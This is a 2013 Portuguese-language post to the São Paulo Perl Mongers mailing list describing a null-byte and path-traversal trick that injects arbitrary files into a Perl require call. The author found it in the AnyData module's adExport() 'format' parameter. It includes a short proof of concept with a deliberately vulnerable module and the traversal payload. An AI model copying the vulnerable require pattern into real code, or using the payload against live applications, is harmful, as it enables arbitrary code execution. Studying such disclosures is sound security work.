[SP-pm] Perl e Null byte

Junior Moraes junior at fvox.com.br
Tue Jun 11 12:14:44 PDT 2013


Hi.

Estava aqui mexendo com uma aplicação que utiliza o módulo AnyData[1]
dentro de um webservice que retorna as informações desejadas. Neste módulo,
temos o método adExport() que recebe um parâmetro (que, no caso da
aplicação, era recebido via GET) referente ao 'format' e tenta instanciar o
módulo.
Fiquei brincando de manipular o path com esse parâmetro, mas a concatenação
da string '.pm' dificultava as coisas. Porém, como na exploração de um
RFI/LFI (Remote/Local File Inclusion) no PHP, é possível ignorar isso com o
bom e velho null byte[2].

Escrevi um exemplo prático:


$ pwd
/home/fvox/poc

$ cat Module.pm
package Module;

use common::sense;
use Moo;
use Carp;

use vars qw(@ISA @EXPORT);
@ISA = qw(Exporter);
@EXPORT = qw(testing);

sub testing {
    my $plugin = shift;

    my $module = 'Module/' . $plugin . '.pm';
    eval { require $module; };
    croak $@ if $@;

    $module =~ s/\//::/g;
    $module =~ s/\.pm$//gi;
    my $obj = $module->new;
}

1;

$ cat inc.pl
print "Null Byte injetado com sucesso! :)\n";

$ perl -MModule -E'say
testing("../../../../../../../../../home/fvox/poc/inc.pl\00");'*Null
Byte injetado com sucesso! :)*
Can't locate object method "new" via package
"Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl"
(perhaps you forgot to load
"Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl"?)
at Module.pm line 21.


Não fiz nenhum experimento em alguma aplicação real, mas ficou claro que é
possível injetar um 'evil code' num código vulnerável sem muitos problemas.
Suponho que também funcione na função open(), entre outros casos.
Alguém já tinha brincado com isso antes? Hhauhauh

PS: Desculpem se isso for muuuito antigo. É que só fui dar uma de retardado
e brincar com isso em 2013... :P

[1] https://metacpan.org/module/AnyData
[2] http://en.wikipedia.org/wiki/Null_character

-- 

====================================
Junior "fvox" Moraes
Linux Reg. #557527
junior[at]fvox[dot]com[dot]br
fb[dot]com/juniorfvox
twitter[dot]com/fvox
====================================
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.pm.org/pipermail/saopaulo-pm/attachments/20130611/e050b656/attachment.html>


More information about the SaoPaulo-pm mailing list